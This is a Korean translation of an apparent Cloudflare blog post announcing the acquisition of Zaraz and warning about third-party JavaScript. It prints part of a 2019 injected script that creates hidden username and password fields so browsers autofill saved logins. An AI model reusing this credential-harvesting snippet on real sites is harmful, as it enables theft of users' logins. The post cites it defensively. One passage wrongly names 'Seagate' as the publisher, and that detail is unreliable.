오늘 Cloudflare가 Zaraz를 인수했음을 발표하게 되어 매우 기쁩니다. Zaraz의 가치 제안은 Cloudflare의 미션과 일맥상통합니다. 웹을 더 안전하고 더 믿을 수 있고 더 빠르도록 만들겠다는 목표죠. 그 목표를 위해 Cloudflare Workers에서 솔루션을 구현했습니다. 다시 말해, 그들을 우리 팀으로 초대하는 것은 당연한 일이었습니다.
쓰레기를 버리는 사람을 조심하세요
Zaraz의 가치 제안을 이해하려면, 사람들이 충분히 주의를 기울이지 않는 대부분의 웹사이트에 대한 가장 큰 위험 중 하나를 이해해야 합니다. 그리고, 그것을 이해하기 위해 비유를 들어 보겠습니다.
귀하가 사업을 한다고 상상해 보세요. 상상을 해보세요, 잘은 모르겠지만, 그 사업체는 약국입니다. 직원들이 있습니다. 그들은 일을 하는 과정과 방식을 가지고 있습니다. 그들은 계약을 맺고 있으며, 귀하는 그들을 고용하기 전에 배경 조사를 수행합니다. 그들은 일을 잘 하고 귀하는 그들을 신뢰합니다. 그러나 어느 날, 귀하는 아무도 쓰레기를 비우지 않는다는 것을 깨닫게 됩니다. 따라서 귀하는 정기적으로 쓰레기통을 비울 사람을 찾아달라고 팀에 요청합니다.
귀하의 팀은 바쁘고 아무도 이것을 그들의 일상적인 업무에 추가할 시간이 없습니다. 하지만 한 용감한 직원은 아이디어가 있습니다. 그는 거리로 나가 낯선 사람을 불러세웁니다. 귀하의 직원은 낯선 사람에게 "이봐요"라고 말합니다. "나는 매일 당신이 이 길을 지나가는 것을 봤어요. 지나갈 때 잠깐 들러서 쓰레기 좀 버려주시겠어요?"
"어"라고 낯선 사람이 말해요. "그럼요?!"
"좋아요"라고 귀하의 직원이 말합니다. "여기 건물에 들어갈 수 있는 배지가 있습니다. 쓰레기는 약국의 보안 구역 뒤에 있지만 걱정하지 마십시오. 배지를 사용하기만 하면 그곳으로 돌아갈 수 있습니다. 당신을 신뢰할 수 있습니다. 이거 잘될것입니다!!"
그리고 잠시 동안은 그렇게 되었습니다. 그 낯선 사람은 매일 들립니다. 쓰레기를 버립니다. 바랐던 대로 행동합니다. 그리고 아무도 쓰레기에 대해 다시는 많이 생각하지 않습니다.
그런데 어느 날 귀하가 들어왔는데, 약국에 도둑이 들었어요. 약은 도난당했고 환자 기록은 없어졌어요. 기록에 따르면 약국에 접근하기 위해 사용된 것은 낯선 사람의 배지였습니다. 귀하가 그 낯선 사람을 추적하면, 그가 말하길, "이봐요, 짜증나네요, 하지만 그건 제가 아니었어요." 나는 오래 전에 매일 약국 앞을 지나가던 것을 멈고 그 쓰레기 책임을 다른 사람에게 넘겼습니다."
그리고 권한 있는 액세스를 사용하여 신뢰를 위반한 사람을 귀하는 추적하지 않습니다.
왕국으로 가는 열쇠
물론, 이것은 말도 안 돼요 아무도 길거리에서 모르는 사람을 골라서 그들의 실제 매장에 접근할 수 있게 하지는 않을 겁니다. 그러나 가상 세계에서는 이러한 현상이 항상 발생합니다.
매일, 프런트 엔드 개발자, 마케터, 심지어 보안 팀도 그들의 웹 페이지에 직접 타사 스크립트를 포함합니다. 이 스크립트는 쓰레기를 버리는 것과 같은 은유적 작업으로서 기본 작업을 실행합니다. 올바르게 행되면 사이트에 고급 기능을 제공하고, 마케팅 전환을 추적하거나, 분석을 제공하거나, 부정 행위를 방지하는 데 유용할 수 있습니다. 그러나 잘못 되면 심각한 문제를 일으키고 데이터를 훔칠 수도 있습니다.
가장 평범하지만 잘못 구성된 스크립트는 렌더링 페이지 속도를 늦출 수 있습니다. 스크립트를 차단하지 않도록 하는 방법이 있지만, 불행하게도 개발자가 항상 모범 사례를 따르지는 않는다는 것입니다. 종종 느린 웹사이트를 볼 때, 속도가 느려지는 가장 큰 원인은 내장된 모든 타사 스크립트입니다.
하지만 더 나빠질 수도 있습니다. 더 나쁘게요. Cloudflare에서 우리는 이것을 직접 봤습니다. 2019년에 해커는 Cloudflare가 사용하는 타사 서비스를 손상시키고 cloudflare.com의 페이지에 로드된 타사의 JavaScript를 수정했습니다. 그들의 목적은 로그인 쿠키, 사용자 이름, 암호를 훔치는 것이었습니다. 그들은 자동 완성되는 사용자 이름과 암호 필드를 자동으로 생성하기까지 했습니다.
다음은 삽입된 실제 코드의 일부입니다.
다행스럽게도, 이 공격은 팀에 의해 매우 빠르게 포착되어 피해를 최소화했지만 타사 JavaScript의 매우 실질적인 위험을 조명합니다. 클릭 수를 세도록 설계된 코드가 암호 필드를 생성하도록 허용되어야 하는 이유는 무엇입니까?
var cf_form = document.createElement("form");
cf_form.style.display = "none";
document.body.appendChild(cf_form);
var cf_email = document.createElement("input");
cf_email.setAttribute("type", "text");
cf_email.setAttribute("name", "email");
cf_email.setAttribute("autocomplete", "username");
cf_email.setAttribute("id", "_email_");
cf_email.style.display = "none";
cf_form.appendChild(cf_email);
var cf_password = document.createElement("input");
cf_password.setAttribute("type", "password");
cf_password.setAttribute("name", "password");
cf_password.setAttribute("autocomplete", "current-password");
cf_password.setAttribute("id", "_password_");
cf_password.style.display = "none";
cf_form.appendChild(cf_password);
간단히 말해서, 타사 JavaScript는 웹에 대한 보안 악몽입니다. 간단한 한 줄 변경처럼 보이는 것("JavaScript를 추가하면 무료 페이지 뷰 추적을 받을 수 있습니다!")이 간단히 통제할 수 없는 악성 코드에 대한 문을 엽니다.
그리고 더 나쁜 것은 타사 JavaScript가 알 수 없는 다른 당사자의 다른 JavaScript를 로드할 수 있고 로드한다는 것입니다. 코드를 삽입하기로 선택한 회사를 신뢰하더라도, 해당 회사가 어떤 코드를 포함할지 신뢰하지(심지어 알지) 못할 수 있습니다.
그리고 더 나쁜 것은 이러한 스크립트가 언제든지 변경될 수 있다는 점입니다. 보안 위협은 왔다가 사라질 수 있습니다. Cloudflare를 공격한 공격자는 타사 제품을 손상시키고, Cloudflare만 공격하도록 서비스를 수정했으며, 개발자가 해킹을 탐지하는 것을 막기 위해 디버깅 방지 기능을 포함했습니다. 귀하가 CIO이고 이것이 귀하를 놀라게 하지 않는다면, 웹 개발 팀에 귀하의 웹사이트에 얼마나 많은 타사 스크립트가 있는지 물어보십시오. 귀하는 그들 모두를 신뢰합니까?
간단한 작업을 처리하기 위해 타사 스크립트를 추가하는 것은 글자 그대로 모르는 사람을 길거리에서 끌어내어 사무실에 물리적으로 접근하게 하고 하루에 한 번씩 들러 쓰레기를 비우라고 요청하는 것과 같습니다. 그것은 현실 세계에서는 완전히 미친 짓이지만, 웹 개발에서는 흔한 일입니다.
낯선 사람에게 자유롭게 탐색하고 돌아다니도록 함
Cloudflare에서 우리의 솔루션은 엄격했습니다. 우리는 당사 웹사이트에서 모든 타사 스크립트를 삭제하도록 명령했습니다. Cloudflare의 여러 팀이 우려했습니다. 특히 이 스크립트를 사용하여 실행 중인 캠페인이 성공적인지 평가한 마케팅 팀이 더욱 그렇습니다. 그러나 우리는 마케팅 캠페인 같은 것에 대한 가시성보다는 서비스의 무결성을 보호하는 것이 더 중요하다고 판단했습니다.
우리가 Zaraz 뒤에 있는 팀을 만난 것도 이 무렵이었습니다. 그들은 그렇게 극단적인 선택이 필요하지 않다고 주장했습니다. 대신, 페이지에 삽입하는 스크립트가 실행하는 것을 엄격하게 제어할 수 있다면 어떨까요? 그들이 훼손당했다면 그들이 볼 권한이 없는 것에 접근할 수 없었는지 확인하십시오. 실패하거나 속도가 느린 경우 페이지가 렌더링되지 않도록 하십시오.
우리는 지난 반년 동안 Zaraz를 테스트하면서 보냈고 그것은 마법과도 같았습니다. 이 제품은 유연하고 확장 가능한 웹을 최대한 활용하면서 CIO와 CISO는 타사 스크립트 공급자가 손상되더라도 보안 사고가 발생하지 않는다는 사실을 알고 야간에 숙면을 취할 수 있도록 보장합니다.
좋은 점을 말씀드리자면, Cloudflare가 Zaraz를 실행하고 있었다면 2019년에 본 손상된 스크립트의 위협이 완전하면서도 자동으로 제거되었을 것입니다. 공격자가 이러한 사용자 이름 및 암호 필드를 생성할 수 있는 방법이 없으며 사용자의 브라우저에 저장된 쿠키에 액세스할 수 없습니다. 공격 표면은 완전히 제거되었을 것입니다.
Seagate는 오늘 Zaraz의 작동 방식을 설명하는 두 개의 게시물과 기업이 웹 존재를 안전하고 안정적이며 빠르게 보장하기 위해 Zaraz를 사용하는 방법에 대한 예를 게시했습니다. 당사는 기업 고객에게 Zaraz를 즉시 제공하고 있으며, 다른 모든 고객은 오늘부터 대시보드에서 무료 베타 버전에 액세스할 수 있습니다.
귀하가 타사 스크립트 개발자인 경우, 스크립트를 제대로 보호하지 않으면 Zaraz가 웹에서 더 많은 스크립트를 롤아웃할 때 스크립트가 작동하지 않게 됩니다. 현재 Cloudflare는 모든 웹사이트의 거의 20%를 차지하며 머지 않아 Zaraz의 기술이 모든 웹사이트를 보호하는 데 도움이 될 것으로 기대합니다. 우리는 고객의 사이트에서 실행되는 모든 스크립트가 최신 보안, 안정성 및 성능 표준을 충족하는지 확인해야 합니다. 도움이 필요하여 zaraz@cloudflare.com으로 연락하면 도와드리겠습니다.
그동안 귀하는 Zaraz 기술이 어떻게 작동하는지, Instacart와 같은 고객이 이를 어떻게 사용하여 더 우수한 웹 입지를 구축하고 있는지에 대해 읽어보시기 바랍니다.
더 우수한 인터넷 구축을 돕는 Cloudflare의 임무에 Zaraz가 참여하게 되어 매우 기쁩니다. 팀에 오신 것을 환영합니다. 그런 맥락에서 Zaraz에 오신 것을 환영합니다! 귀하가 웹을 더 우수하게 만드는 이 기술을 손에 넣게 되어 매우 기쁩니다.